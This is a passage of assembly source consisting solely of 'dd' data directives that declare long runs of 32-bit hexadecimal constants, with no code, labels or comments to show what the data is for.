		dd 0BABE0495h, 40B11A0Bh, 0B51D9E5Ah, 0EACD006Ah, 17DD736Dh
		dd 8A00F013h, 67257222h, 3033B9B7h, 9898C3FFh, 0FE5C8866h
		dd 5C9702B0h, 58925B01h, 0A646217Ch, 0F8425E3Dh, 43310426h
		dd 105EAD90h, 0C04AA11h, 8B2FD4ECh, 0B4322B8h, 186E5996h
		dd 0B19F1882h, 8A78C713h, 6F409193h, 38A6D208h,	9040670Bh
		dd 863C3748h, 0A0F62744h, 0A23258h, 7D697ABFh, 2BE2D80h
		dd 4A009772h, 94E1C0EAh, 858C7CB3h, 3F0C4591h, 5320DE5Dh
		dd 35223843h, 3401E0A0h, 0AE23D0C4h, 10E3531h, 99801986h
		dd 0FBF259BFh, 4A026CCAh, 4907E987h, 145A86h, 4BEFD1A0h
		dd 0D4FB9068h, 29C13405h, 0AC073FA1h, 8A06CF87h, 55EF21F8h
		dd 0BCF37092h, 9A3026E2h, 0C1CF81Eh, 3C8F7011h,	50081D9h
		dd 8478BEA3h, 26ED4917h, 90004B5h, 0C0470DCFh, 0FB60BB64h
		dd 0BE09849Bh, 80F2ECA3h, 4398E009h, 5CC9594Eh,	8D985E3Dh
		dd 5FA7E83Dh, 40DAA589h, 88BF7A4Ch, 0F6002812h,	31CE2983h
		dd 991057B6h, 335F084Ch, 0E1FFE39h, 9D02BABBh, 0A48901E1h
		dd 0A44051A0h, 0BBF95DB6h, 0A8C72316h, 0E48C8CC5h, 0B53B74BDh
		dd 331C1430h, 908030B4h, 0E1A5CCADh, 316E13A0h,	53400408h
		dd 2C091256h, 2068169Ah, 8F4834FCh, 0DB809F8Ch,	471D802Bh
		dd 2A48008Dh, 0BBDE7042h, 0E424B7E5h, 9288CC04h, 483219C3h
		dd 108C23BFh, 1784227Bh, 3FA7015Eh, 8E111423h, 2D2CD071h
		dd 4912401h, 29D36EC9h,	0E8E1C945h, 23502F3Ah, 0C53100BEh
		dd 8EC66043h, 931CA09Fh, 0E1C8285h, 4EC79772h, 5362E0E0h
		dd 1BF0E839h, 418B8801h, 1C878101h, 6360A180h, 0EC0A3E5Dh
		dd 0CDA5101Eh, 6428BC00h, 99C8BF9h, 0FFC6310Fh,	6706C840h
		dd 4DEFC50Fh, 0C8358A1Dh, 7F32841h, 0FCD9064h, 0C5DDE11h
		dd 5CDB7001h, 238C689Bh, 0F3FE0080h, 54EA96F6h,	804D9F85h
		dd 2C0EF2F3h, 0E0A0747Eh, 0C477AD8Ah, 3333017h,	220C8454h
		dd 2B390C37h, 6E18BF13h, 7009D0B0h, 0E216639Bh,	790C51F8h
		dd 0BB51845h, 0C25D299Bh, 0CD27AC02h, 23A77703h, 0F7015E50h
		dd 0EAB9FFD0h, 71802863h, 7BCDD0EFh, 0DC23CA00h, 0C665458Bh
		dd 43864EC1h, 0A2DA29ECh, 510E9380h, 0B700747Fh, 160C9A8h
		dd 166DEE8Bh, 90874259h
		dd 89B1BE2Ch, 0CFD2FB0Fh, 9D9FE025h, 7BF235CDh,	2EBF4F1h
		dd 6F650A79h, 0D4BC37h,	22D63004h, 0BB132302h, 0F4770C03h
		dd 47B884B8h, 0C0C8008Ch, 0F427E95Bh, 44C8BD7h,	0C65D1410h
		dd 8C45E890h, 5868FD00h, 0E2972442h, 0F63B1438h, 0EA00E09Eh
		dd 322AB15Fh, 0A4941108h, 0C1465Eh, 5892C463h, 26F0CCE2h
		dd 60086E80h, 0DF97D2A4h, 0CE4EDA00h, 0B805C132h, 8F10004h
		dd 0DD1A7D7h, 0FC005D1Dh, 0BC0C9EFFh, 4AB55E76h, 0EE1090B1h
		dd 0ADF6585Fh, 58B73E4Fh, 0B29B3712h, 304BE27Ch, 70008ED2h
		dd 0BC97DADDh, 1D886169h, 5EB5EAF9h, 50C79723h,	18C6EC78h
		dd 0BE0091ABh, 49100B83h, 8E367h, 434A7748h, 8C7698F5h
		dd 0F8DE9D25h, 583A4014h, 0AD37E709h, 969C3107h, 4941E8CCh
		dd 0F24B84CBh, 2C8B0094h, 0EF1404F0h, 8741765h,	9F04C80Fh
		dd 2C1BF900h, 0FCA8BCBDh, 0F73B3BBBh, 0C067B0E4h, 2FEC2944h
		dd 30C23D13h, 0BD81F4B8h, 60DF0D23h, 7D7E9800h,	43996E0Bh
		dd 0BB6460A2h, 9B2D5BEDh, 89B480F4h, 0F42A6979h, 5DE012Fh
		dd 92CF3411h, 5ABC6C3Fh, 6601007h, 4F7858ABh, 71909018h
		dd 8800CA9Eh, 0E91ACED6h, 17D161ADh, 12A155DEh,	0B2680414h
		dd 0F2A8A254h, 2B4E30B2h, 81A5933Ah, 0CE2F13B3h, 0CC443F57h
		dd 0F863D417h, 9F2FB099h, 0C63B2798h, 0BB4F2850h, 9D77B4C8h
		dd 2411BC97h, 0FA335A81h, 0ABE86079h, 52A44840h, 0B9E26831h
		dd 0E2AB9033h, 28530245h, 0DAE79955h, 28719C62h, 99184D79h
		dd 37F44401h, 7554CDCEh, 17FE9460h, 465E2B98h, 81A71864h
		dd 354B840Fh, 1776C061h, 18975556h, 28A59E33h, 1C00FF89h
		dd 71060765h, 70398Bh, 995A6074h, 3A54AA8Fh, 5E9CC80Eh
		dd 84F48504h, 0A5AFCC08h, 0BEE47445h, 0E0E34F60h, 8E101B16h
		dd 0B794A4h, 0B49A26B9h, 8BDA7BCAh, 88519D5Fh, 762C58FCh
		dd 1170989Dh, 68C780A7h, 551657FEh, 0E813EE29h,	2230ECE2h
		dd 9B75BB61h, 0D744331Eh, 28A6AC97h, 45A309E0h,	0F651D13h
		dd 0EC02BC13h, 71A4D991h, 0D6E500E4h, 73E8CC0Ah, 4DF6102h
		dd 5E321068h, 0B6465E20h, 63420B02h, 927F85C5h,	0B39F40A0h
		dd 82D900F1h, 0F35934AEh, 784F6F2Fh, 2188DC8Bh,	43195CC0h
		dd 0CB55D8Ah, 0DE989F24h, 57C5707h, 297589Dh, 0A7780191h
		dd 0F4B8C4Ch, 6ABEA9C3h, 33BA4F1Fh, 0F5B8F013h,	0E79DFA05h
		dd 80E61107h, 0FCD6FCB1h, 7CBC2E08h, 9A74C2DCh,	2C636E9Dh
		dd 0B8A0864Fh, 8010B4F6h, 6514F2BFh, 6EF887CFh,	9D920702h
		dd 0F1589BA3h, 18BAD9B8h, 0E5A7174Fh, 0AC70856Fh, 13C9160h
		dd 0A147A955h, 0CDD4C4A0h, 8A9090B5h, 549075A8h, 28012504h
		dd 6563B981h, 86D0913Bh, 81BBFA9h, 0E62F5109h, 1048E3D3h
		dd 64E0BC0h, 2663CE31h,	93290818h, 3006494Fh, 7C98640Eh
		dd 78E44896h, 0EFA29007h, 3BA38288h, 0BDF88070h, 4BC4774Ch
		dd 0D415A488h, 0B7E87CD1h, 9CC1008Ch, 98E509B6h, 1930B0C4h
		dd 73FE21EDh, 105D0160h, 0EFC5A76Eh, 0ADB88B21h, 12845196h
		dd 5D0F392h, 1F1EF727h,	0B3B208F3h, 0A796130h, 0BB763B99h
		dd 0D0F716ACh, 2B969EE0h, 0B001DE4Bh, 0A706218Eh, 41EB5030h
		dd 7E4C30B1h, 33D4B541h, 90CC40B3h, 0AD1D32FCh,	0B834A592h
		dd 64B92FC5h, 25B8C494h, 0BF4B048Ch, 918BF67Fh,	1E2B68h
		dd 9C47AAC7h, 3C0700DCh, 6D2A1D5Eh, 181F7C9Eh, 0C876D130h
		dd 417D0038h, 68E6805Fh, 6D0EB605h, 84A90B1Ch, 0D4E271D1h
		dd 4293077Bh, 0B05D5FFBh, 78D0D4AFh, 9624B3E0h,	0C910040Fh
		dd 8A98DAD7h, 0AA10A8CFh, 349FAB27h, 7C832411h,	93885219h
		dd 5C2F8499h, 0C9546D5Eh, 61582CF6h, 7C469853h,	803894FAh
		dd 0E3E57CE4h, 3678E1DAh, 42CEAE03h, 0E88DA26Ah, 0BCB2BD8h
		dd 0DF9BA86h, 0BA79A879h, 18FEFA18h, 480C62EBh,	0FF9A07A1h
		dd 0F700736Bh, 3131BCD6h, 0A47AA753h, 40882A68h, 9D67F8B9h
		dd 9F636CE9h, 6D276964h, 0AB0EC0C4h, 0D1263849h, 18029F64h
		dd 74D33B62h, 8E0C0240h, 47A2840h, 0AAB688A0h, 205BBD80h
		dd 67FEA78h, 2F9BEE16h,	49A718B0h, 3B08B0A8h, 428B326h
		dd 6C31044h, 4723F7ABh,	0A99540F4h, 0BF60B7F8h,	4D250809h
		dd 7C83AC98h, 289B7700h, 978B92E9h, 0BE422063h,	966CE858h
		dd 62F88C00h, 0C0AF2987h, 0EB0C6338h, 1481C48h,	0BBAAC708h
		dd 5AD6B570h, 0FA3500EEh, 1E5C8D07h, 4265D1Dh, 331308F9h
		dd 260624B3h, 90C69AF7h, 912C9D9Dh, 88CDC7BCh, 42F793E1h
		dd 0B124EC34h, 0E1A0828h, 3AE81E07h, 0EDDC1089h, 0C098820Ch
		dd 9DF0A4EBh, 22F27842h, 97E6B330h, 0D93DBC10h,	56EEE507h
		dd 0A750A19Ah, 79FC93Bh, 5AF9F594h, 5CCD710Eh, 27942696h
		dd 0DE18C88Eh, 10AD006Bh, 0B8E5B3BFh, 4A000493h, 34AF323Fh
		dd 725CD6F2h, 0F81A241Dh, 15258840h, 11351C89h,	608A2884h
		dd 28C7708h, 6B87E059h,	979F2C50h, 80239128h, 5A2FA585h
		dd 0D063263Bh, 43444F4h, 0A70230C1h, 0F0F2FBEDh, 789CCB13h
		dd 0B10F74A2h, 0CCD51A55h, 808F0407h, 9E9141E4h, 2489236h
		dd 786F1056h, 97140C00h, 0BC369858h, 0BA573B18h, 0E2818EA8h
		dd 1616E08Ch, 7B15521Ah, 0EAC603E0h, 8012C739h,	12093173h
		dd 0B9F7C2A7h, 0A41371B4h, 0B0A52B1Ch, 8014AC2Ch, 941088C9h
		dd 0C62F0B7Ah, 87F8E0E7h, 24E0A49Fh, 24C0F5Dh, 51233FAEh
		dd 9650C83h, 39C34016h,	0BCC828CEh, 5C0583CFh, 6D8FB829h
		dd 0A819809Fh, 531BE1C7h, 0E29D64D0h, 54C1017Bh, 1FEE2F4Ah
		dd 0F0487F3Bh, 44711B1h, 0CE824398h, 41F478C8h,	0C96460F1h
		dd 0CAF6E61Ah, 5E3C5481h, 0CD00BF46h, 0A3BE58FDh, 553C4076h
		dd 5D3F00E0h, 39185FE9h, 0BA0706E2h, 78B5673Bh,	342A1C17h
		dd 2FE430C8h, 2C847029h, 10CB57D7h, 0CFC04DC8h,	0CAC243h
		dd 0E969F62Dh, 41E57D1h, 4819AD27h, 3F04A04h, 0C82B4B65h
		dd 74F0F21Bh, 3EE960D9h, 6F04246Eh, 0AAFA7740h,	0A2327C04h
		dd 94AD9003h, 0D70D2905h, 4EAA83EDh, 8BF66EF8h,	0C04BC8C8h
		dd 68F6CE28h, 7D071700h, 0D8132720h, 45D50925h,	7CF86787h
		dd 0B18747Ch, 0A30804B7h, 7C8E4C6Ch, 49D1A580h,	710076FAh
		dd 8548524Fh, 0E29FAEC6h, 8C4D021Ch, 5A07AB29h,	0BA016040h
		dd 8BF05B27h, 793CF164h, 0F361829h, 6EB04DC1h, 89EE8682h
		dd 0E7C890D7h, 97D5Fh, 92B678C0h, 0DB2BBE83h, 2114C149h
		dd 85B00134h, 0FEE6A537h, 7476744Ah, 0B3465Eh, 65C06228h
		dd 752DECh, 932B3C21h, 13B2D776h, 1090F648h, 9A02FC3Dh
		dd 200E7733h, 285AB8C0h, 0C9852901h, 6E37D6DCh,	279EDCCh
		dd 0E6340613h, 1C747D3Bh, 0A10488h, 0B291FFD1h,	0AC94F9D9h
		dd 0A5661840h, 31904BE4h, 0EC141294h, 2B5A03C6h, 7E88F0D1h
		dd 6EB63300h, 0E40CB45Fh, 229410DEh, 6D78B851h,	2A8CEF55h
		dd 8929244Bh, 0E6B04859h, 0BB2F443Fh, 12D9A344h, 3B1A60F0h
		dd 0B4523B8h, 0EC068C9Ah, 9F02517Bh, 0F77858ECh, 0DC98D685h
		dd 70A964Ch, 916C1BEDh,	71BF9E92h, 4BF11124h, 0E72F786Eh
		dd 132AA084h, 844D58B0h, 465660B6h, 82830EBDh, 0C273CEE5h
		dd 0DC91451Eh, 0BB13E494h, 0BE23843Eh, 5874D200h, 16319041h
		dd 912157CEh, 2A3F8F44h, 0A4487023h, 0DE3B9603h, 1EF880FEh
		dd 1C8B64BEh, 10CCE426h, 50C9A323h, 0D2539640h,	31BB16B0h
		dd 8C76043Eh, 6CB3AD00h, 0EB47088Ch, 29BD04A8h,	0B85BD3EEh
		dd 8315881Ch, 0A9971B1h
		dd 2B9AF4E8h, 22440113h, 4037DCA0h, 5B1098A6h, 0B909EB13h
		dd 98548353h, 0D3F88141h, 8490237Ah, 6C2EE998h,	0E5EE300h
		dd 9D577142h, 75B5BE7h,	40F98124h, 0A6022838h, 2549E67Bh
		dd 0BFA30988h, 0EAB4135Fh, 7823DF48h, 0CC9263h,	7669381h
		dd 2F6E4A30h, 282340h, 217EE18Dh, 165B6947h, 10ECE410h
		dd 478267Fh, 0EFC6300Dh, 3EEC8914h, 0A500C86Eh,	0C39D4568h
		dd 70913FB3h, 3218BFF1h, 0B2C8F500h, 332FC0A8h,	0F4D44A4Bh
		dd 1F92A1Ch, 106253BBh,	0A8905F2Dh, 3C007950h, 2575C6B7h
		dd 0BF33BC0Eh, 846824A5h, 0F2C8B21Ch, 1DF030B3h, 3480744Bh
		dd 80494FC3h, 3B7159FDh, 67A00195h, 682026B1h, 0CD1C0E8h
		dd 9BAA89B2h, 0CC2C9C9Eh, 8918ED74h, 1B30B00h, 0C7166FE4h
		dd 3B8E30E2h, 0B70426F1h, 8D50E5F4h, 2B3F4695h,	0C1EEA537h
		dd 94308A58h, 217E4190h, 237E144h, 9C80E329h, 9A88344Ah
		dd 80E758E8h, 0E460B464h, 2CA9377Dh, 9607D2F7h,	4561E7A0h
		dd 792175A0h, 0B51038B3h, 0D8E907A5h, 0DF361014h, 105147Fh
		dd 0EF22E004h, 10946748h, 58005203h, 0A6C4710Ah, 92CF3Ah
		dd 0E3C62F16h, 317364D0h, 0E6287507h, 6490BFC1h, 6B0B9110h
		dd 84F62093h, 855D162Ch, 871D72CCh, 746BD028h, 78385161h
		dd 0C7C00569h, 7CB02392h, 7020958Fh, 89183DDDh,	0A00239E6h
		dd 0B33BBC69h, 0E7C504B2h, 0A841E360h, 9D9BAD88h, 292DF418h
		dd 7B7064B7h, 6D1A004Dh, 3AE37E34h, 6F007581h, 8CCBE5A2h
		dd 9AA0488Fh, 0BDBFA7Ch, 0C6189BC2h, 0CF096C5Ah, 68228BB5h
		dd 807510C8h, 4B4E1A9Bh, 0FEE09045h, 0F0E4D835h, 7FA2139Fh
		dd 0EE604E60h, 4005308h, 7D49918Fh, 0C03171F7h,	0F971B2B9h
		dd 9632B47Eh, 20FB4811h, 38BFC327h, 27C5D980h, 103A24DBh
		dd 0C0446467h, 0E48EB061h, 7D0328D3h, 43A2C733h, 2F50065Bh
		dd 6839EFBEh, 8240249Eh, 18E9008h, 2F242204h, 70E440E1h
		dd 575A8FEFh, 0F75B2045h, 362064B2h, 0F979BD69h, 0AB298270h
		dd 8F025A1Bh, 3B2081BAh, 6402D9F7h, 0BD7980D1h,	92047818h
		dd 0DDC1968Ah, 0C5DB40C1h, 0AF8504h, 0E9616F61h, 201B3D8Ch
		dd 0A298DDB4h, 365820E6h, 0EF0052AAh, 8B75918Eh, 1860C91Dh
		dd 69B0F6ADh, 0CF03292Bh, 2EFCED5Ah, 6FF3C035h,	941097D7h
		dd 711D91BDh, 87FA4AF7h, 10BE8C9Fh, 0AA3C3A90h,	0FF5D0532h
		dd 12E62F54h, 0C464C2DFh, 4071459h, 0F743CF3h, 0CF0C22BFh
		dd 14E87724h, 8C26B8h, 979BE3B5h, 0B0FCC3CCh, 114901Eh
		dd 53E72A0Bh, 0C36770B8h, 0CF942C0Ch, 893CA0AAh, 80C83C5Dh
		dd 728A10E6h, 0A1FCE8h,	34732B6Bh, 958FA94Dh, 83A2AF0Eh
		dd 448B09D2h, 439816C4h, 19D0F0FEh, 0FCF2E44Ah,	23BC7D05h
		dd 0E5CB1F7h, 0E0258884h, 0CF42DE8h, 0C0271D2Eh, 0B733B940h
		dd 808D80C5h, 0EE9D7716h, 81D00810h, 575BCAC7h,	0DBE0443Fh
		dd 2B1C403Bh, 970D9F4Dh, 49441067h, 0A4CFFF60h,	0ED01DAFEh
		dd 810BC52Eh, 917B95ADh, 70D56014h, 0C04BCD6Dh,	0C09C349Bh
		dd 56596448h, 0CB02393Fh, 54C80490h, 43306029h,	0F7078063h
		dd 0BD3CC697h, 8804F044h, 2E63B882h, 762820AEh,	2C2FA30Fh
		dd 0C8146BF7h, 0A0E25539h, 3956791h, 5E38B037h,	99CEA858h
		dd 6073F402h, 6269701Bh, 0DDB46280h, 0ECB1AC91h, 0FF028124h
		dd 225C0CC7h, 0F41905B5h, 76771D00h, 8064CF3Ch,	52714C97h
		dd 3E475127h, 7280FEF9h, 2BBE5BBDh, 6B59EE93h, 0DC0B2EECh
		dd 0B4D37429h, 0EB808162h, 55CD7DB6h, 278D0B00h, 50F36403h
		dd 2120B868h, 0DF085EE3h, 0ECF6173Dh, 3985804Ch, 1D571BAAh
		dd 0C0371925h, 0B18342ABh, 0A70B59ADh, 0CA5BB3ACh, 0C0484958h
		dd 0A50C8015h, 2397ABE6h, 7C63A260h, 44C64871h,	5B96F481h
		dd 508C28CEh, 8F2DA308h, 9EAC245Dh, 92BD2C08h, 64049D95h
		dd 2A233E3Bh, 7F64EA55h, 0D106D46Bh, 0B0EC5D3Fh, 0CCF858D2h
		dd 628CB2ECh, 3FD7C007h, 0AD840600h, 819D5FC4h,	3E92796Ch
		dd 1C63B488h, 0F017CE31h, 0EFF6F970h, 0A703F096h, 5D19DFC5h
		dd 2ED3BC18h, 1C3232Ch,	7AE405E9h, 361DD8A8h, 0B2A55900h
		dd 0A7DD3390h, 205890D2h, 0B013AD3Eh, 8CCC7161h, 0B49B5E27h
		dd 0F31E2660h, 0A875F70Ah, 0C3887CCEh, 7E3938C0h, 0FA9D001Fh
		dd 48051ADBh, 1D269391h, 3B616C30h, 6E00C623h, 2B5E3205h
		dd 3B9080B4h, 214E3A63h, 0F31478Ch, 0D5C0BF88h,	13399C0Eh
		dd 0A41A4631h, 8700AA34h, 7C1913EDh, 9CCD262Fh,	0C17D6510h
		dd 4CF304h, 9C2150Eh, 9CBB31F9h, 5F6210C0h, 8848EF26h
		dd 639D4820h, 8E5CA1A0h, 23F4902Ah, 4EBDB6CBh, 4464A7C8h
		dd 52696046h, 63960BADh, 0E4FAC40Eh, 0A316009h,	4B28D8F9h
		dd 34A7A9h, 9A45798Eh, 5FE8E910h, 88348F9Eh, 3DD1C0BBh
		dd 0D70ECF15h, 0CC2C06E3h, 4F13909Fh, 0B2C4A3EBh, 0E379304Dh
		dd 4AFC7C1Ch, 8CD6827Dh, 758DADBAh, 53C60010h, 47D4141h
		dd 0EE99E032h, 0F850B0F0h, 0B240D680h, 0DC315919h, 23FC2F4Fh
		dd 254300B6h, 0ADB25F1Eh, 0D9449050h, 327FC510h, 43CACF09h
		dd 34D328C2h, 0B271ACA1h, 1E00AF18h, 23BDABF4h,	40454CDEh
		dd 0BB40CEA4h, 0C90405C0h, 80EEEDB9h, 9DBA3F54h, 0BAD1D091h
		dd 5492F518h, 0CC639726h, 9AF48041h, 0D360E1h, 0BA2BBD10h
		dd 0C5A44320h, 21546200h, 0CEFFD182h, 0F9760014h, 291B56E5h
		dd 0D89B65FCh, 0BBAC8180h, 90AF0F2Bh, 6F401240h, 223C24E9h
		dd 0D0A046E0h, 3BFBCB21h, 7E3029B7h, 0F996193Ch, 1B1C48E8h
		dd 68303A69h, 0E5A4A78Ch, 326CCC2Bh, 31161CF6h,	248580E6h
		dd 0A52FD8A3h, 52AA78E3h, 0BA8E3898h, 423F9C2h,	131CD2EAh
		dd 426F5BB4h, 601B0F4Ch, 0B61494DBh, 8CB15E7Ch,	4E5F5460h
		dd 180CA6D4h, 0BBA1175Bh, 0C20B5A4Bh, 0E85AC574h, 143D683Ah
		dd 0B020A6F8h, 88BBAA4Bh, 0C741AF53h, 0A92EB2F3h, 0D0BD81E0h
		dd 705930B2h, 0E0FD6047h, 0FB841C6Dh, 4B692829h, 0B0F0E69Bh
		dd 0E23B53FBh, 1698C1B8h, 5C4AE43h, 0D10108BCh,	0BFAB2702h
		dd 0FB688059h, 0FD5F8ABBh, 98F40082h, 0CDD13923h, 0DE073391h
		dd 9E702654h, 67649FE0h, 8920C099h, 2802D931h, 1B262500h
		dd 7F9698CEh, 2768E8EEh, 8205984h, 8127A9F8h, 2F295C1Eh
		dd 8C007A3Fh, 77FED5A1h, 986618E6h, 679900A9h, 0FF6CF88Fh
		dd 124A60F9h, 4DA240A3h, 1E2AC330h, 82B3B49Bh, 63FB5DC0h
		dd 0A8213CFCh, 0C51846D1h, 98C93002h, 0E94B1A67h, 0B9E3FE28h
		dd 22F1C255h, 9C6D0h, 1428B159h, 54A5B8ECh, 49336130h
		dd 4A1D7032h, 0BA94402Bh, 2B853B4h, 885F0890h, 0C9A948B0h
		dd 0E84B9210h, 1FE447D8h, 2140781Ch, 66ECA8EAh,	8B283356h
		dd 0A8D025D0h, 31442838h, 2358105Eh, 0BC971013h, 0DFB00776h
		dd 47A0F0B9h, 547A19B5h, 0EC242802h, 0B4217042h, 28B14D40h
		dd 0F5E0404Bh, 0A5BB9E38h, 0C2E6C3Bh, 91A8C8E5h, 0F8A1658Fh
		dd 0CC24FFA6h, 0AD0A3C6Eh, 85A4848Fh, 0C859F3D2h, 2B3A1CFCh
		dd 0F2345265h, 0FD80176Fh, 9B3995BBh, 6C423E24h, 79D1C0F6h
		dd 0BAAEEE5Fh, 3153A405h, 481D5719h, 0F964BC2Bh, 0FEC1D6Ch
		dd 9E6E61C3h, 0F820408Ah, 0E3A8A9C8h, 3F3917E3h, 4E4CA420h
		dd 96A9FC64h, 39CE521h,	778DD2B4h, 0CF219C98h, 2986A800h
		dd 9120D205h, 1A040DB2h, 40910C39h, 0CE676370h,	0E4828E5Eh
		dd 22920BDh, 87F898A0h,	0EC5220A6h, 844E7DBCh, 4A390482h
		dd 7AC5E9Ch, 0A2686EBAh
		dd 44DAC79Eh, 0BCB08F0Bh, 57745E0Fh, 20631540h,	2D2C31ACh
		dd 1A0FE08h, 3C01A86Ah,	893101A9h, 196CA01h, 4B0138DFh
		dd 0DBE30134h, 17BB701h, 0FA01D135h, 0C2670122h, 14E3601h
		dd 0B6015A24h, 92E10186h, 4B07407h, 9042F9Dh, 25060482h
		dd 43B2304h, 83044D1Ch,	399C0454h, 0C259D30Ch, 0FFD7C140h
		dd 1687501h, 3F01CF49h,	222A02B3h, 0A107D2A2h, 286308E8h
		dd 88A6E08h, 20821A8h, 7AF80826h, 0A4F90819h, 0D3A0E9BDh
		dd 0F123D032h, 8DC6037Ch, 72B42144h, 3AC421C4h,	88847C0Ah
		dd 57905D2Ch, 1064AD10h, 23108BE2h, 80E92AE0h, 77B8D654h
		dd 2BA99D64h, 4905004h,	0B2047303h, 0D8520497h,	0C1C48C06h
		dd 69EA9C88h, 89A53280h, 81099053h, 33A33D10h, 11AEC943h
		dd 20CA5661h, 301620C5h, 0E4110762h, 481C02B6h,	5489A706h
		dd 0CFBE982Fh, 2AB0D431h, 9820BC87h, 44A04472h,	9E2311C4h
		dd 0C384104h, 407AF980h, 0F0A89635h, 0E58074E7h, 517C81DDh
		dd 252EA8Ch, 0BECA2A9h,	3B8E0267h, 20A93606h, 52024E8h
		dd 0B195F77Fh, 0FD31F097h, 3DAE099h, 680910F6h,	32D31978h
		dd 0D001D751h, 6B930154h, 1ADF801h, 6F03E243h, 9C4A8110h
		dd 2A6EB710h, 7B62C421h, 23ADB09h, 0D10245A3h, 4E87028Bh
		dd 698A702h, 0E020A9FBh, 0C3EE20CBh, 19412A62h,	0F888075Ah
		dd 18D9E408h, 5C052135h, 80A07880h, 71C88223h, 61CA08AAh
		dd 2968840Ch, 62FF8057h, 0A1BFC381h, 0C454C1A0h, 42409988h
		dd 1202EB28h, 116990A6h, 628E5820h, 0BDD1F1F1h,	0F7A7302h
		dd 0D2295FACh, 81BFEC80h, 0E0F051D0h, 0DCC601A1h, 0BCA66F02h
		dd 4F54D132h, 3E402784h, 0CC7E40C8h, 0A8365640h, 805E62C4h
		dd 9C81D633h, 0DB159051h, 0A3A9000h, 48F58F4Bh,	25FD1FD4h
		dd 0DC07B1ADh, 0C5D581F8h, 0E11080AEh, 0A882CA77h, 96B1021Bh
		dd 0B5575CEDh, 0AB002852h, 0E69CE231h, 3D6A979h, 8229281Bh
		dd 0ECA254CAh, 0B866C262h, 210098B0h, 60F5BEADh, 530513h
		dd 743A3D5Dh, 7E0DEC35h, 0E011D1F1h, 21B58AB2h,	5A6EF610h
		dd 0B9F9B080h, 0BC809761h, 2931BA00h, 0AA98A2F5h, 0D21F2554h
		dd 1B272C48h, 0F94B9276h, 60C08CF0h, 51221977h,	43767350h
		dd 0B1FFDD00h, 33177D63h, 0A30E0A9Fh, 5088BB2h,	96CFCBF6h
		dd 10C868A8h, 652F0054h, 0B20461C2h, 0B045645Bh, 20826C90h
		dd 0D2334041h, 0CD97F31h, 3AF5F6C2h, 840A0C38h,	0C029B587h
		dd 0C68F6702h, 809C7CD6h, 49F5EF9h, 8774790Fh, 6DACCC1Dh
		dd 3059F24Dh, 39F430h, 15DD81A3h, 1A6B36C7h, 80C0C87Dh
		dd 0DBF4406h, 0DB660010h, 0EA33A12Eh, 1200DE78h, 0DCFC3927h
		dd 9FA21D29h, 8C02A0C2h, 0F90344C9h, 0CC8E5EBh,	703D6040h
		dd 721A0161h, 74615768h, 0F8276500h, 49CA2AD1h,	7301189Dh
		dd 0EA8F33EBh, 19488BFFh, 5E54A3ACh, 64B0B0F4h,	1C270003h
		dd 0B19935BAh, 89E02A61h, 5A5E0401h, 0CF0C633h,	0BF91EE0h
		dd 55421A77h, 0B00224EBh, 86FE61EEh, 0E44815Ch,	0B441BC96h
		dd 6040F527h, 115C6EFh,	8F88EC73h, 0F00E4167h, 2981F8Eh
		dd 2D0DC0C2h, 0E8CC824Dh, 628090CCh, 8FF1044Eh,	1E05DF87h
		dd 0BBB50E47h, 5719AFB0h, 4E548047h, 0D9AE8F19h, 80BC2F70h
		dd 0C68310h, 23122D34h,	0CA6C1C99h, 6942730h, 11251798h
		dd 0E5001A78h, 1F2E5FB8h, 37900526h, 0F3A81EBAh, 748B8F77h
		dd 1A2A2FF0h, 396F3430h, 0EDCA3Ah, 564548D8h, 8C5AF31Fh
		dd 0F737DA0Fh, 0AC49C1E9h, 8FE49F82h, 504A61E3h, 800BE819h
		dd 0EBD31F40h, 0B299C95h, 7F870DCFh, 6C4928D0h,	0DA3E0954h
		dd 8C602654h, 0E2EB01B9h, 6384682h, 7C006A16h, 5854BA96h
		dd 7A1B00C5h, 0B28104FFh, 0FA00BB60h, 688EBE2Eh, 1DEAD95Bh
		dd 0C0713250h, 76B7FC27h, 0F31D9184h, 0C340B4CAh, 0FB1BCF75h
		dd 0B654C64h, 3900A23Bh, 24276D99h, 8304C621h, 0A5EC9F90h
		dd 8F68B881h, 96F4A0FEh, 0E9D2B506h, 12CAEA20h,	477DC819h
		dd 86D90D18h, 20A1F96Ch, 617820B2h, 8A48B1E0h, 0D2968720h
		dd 288C5BC4h, 0F48E0490h, 0A07C0575h, 0BD8B7Ch,	3E80B180h
		dd 0A0C00010h, 88B27904h, 260085EEh, 8B7B979Bh,	92CA7CC7h
		dd 1A031F08h, 2958B247h, 62B1DC82h, 34A034A3h, 0A4819892h
		dd 83F61F87h, 848FB918h, 80703E2Ah, 93BD312h, 80029C44h
		dd 30803229h, 587198FEh, 60F48780h, 1A9959D6h, 18C22E1Bh
		dd 43FFD8C7h, 0F0DFE098h, 698E00ABh, 0B4E3FE75h, 8F729131h
		dd 0EA1908A0h, 0A8B1B668h, 6420BBh, 66E975EFh, 3D31554Eh
		dd 0BF269C90h, 46F84CFh, 0B0D0821Bh, 59FA24h, 11F3BEDh
		dd 57470F36h, 0FD8ED300h, 6D5DB158h, 96510689h,	0E03F7D87h
		dd 54C29409h, 0F14CA0FAh, 249D2975h, 128571FEh,	77EC40C1h
		dd 0EF96F969h, 0E307F618h, 28870881h, 7A80ED7Ch, 0C51A1395h
		dd 871C6066h, 68C9415Fh, 0F6042296h, 26E4F0D1h,	431CEAF8h
		dd 0B783DD9Fh, 990231C0h, 0BC926C74h, 78884A50h, 4F6A740h
		dd 1F8A740Eh, 28CDFCh, 5D2F6984h, 0E2F888A1h, 3013F725h
		dd 44250C38h, 78C5BC32h, 18151D27h, 81B90EC0h, 0A1003C64h
		dd 6CB1EB02h, 47F703F4h, 6691F6FEh, 981A4075h, 6392C3Bh
		dd 6050BBE0h, 8F5F40F9h, 2C9036E4h, 0A88C9450h,	9C60197Bh
		dd 27ED9530h, 22CF0B20h, 880738Eh, 2DF385B2h, 2B5018C0h
		dd 2887DCABh, 12A44345h, 0B48404h, 0C26D2FA4h, 0AA037CCCh
		dd 0C08F150Eh, 0B9680006h, 6D5C31B2h, 0CE284FCAh, 9A20BC20h
		dd 4C355869h, 2CA21E78h, 1B28009Dh, 97BC4441h, 0A120FC7Ch
		dd 28CF5C8Ch, 1C81C040h, 0D32766F2h, 0AA9088A2h, 0BB7B1918h
		dd 5996F410h, 94C1C88Ch, 35422535h, 19A04368h, 200679D3h
		dd 8DE6F6F1h, 1A020C68h, 0FC184C39h, 3895CE00h,	0D986051Fh
		dd 0FD0D04E2h, 9867C119h, 0A33C062Ch, 0F20642C4h, 51D45DF6h
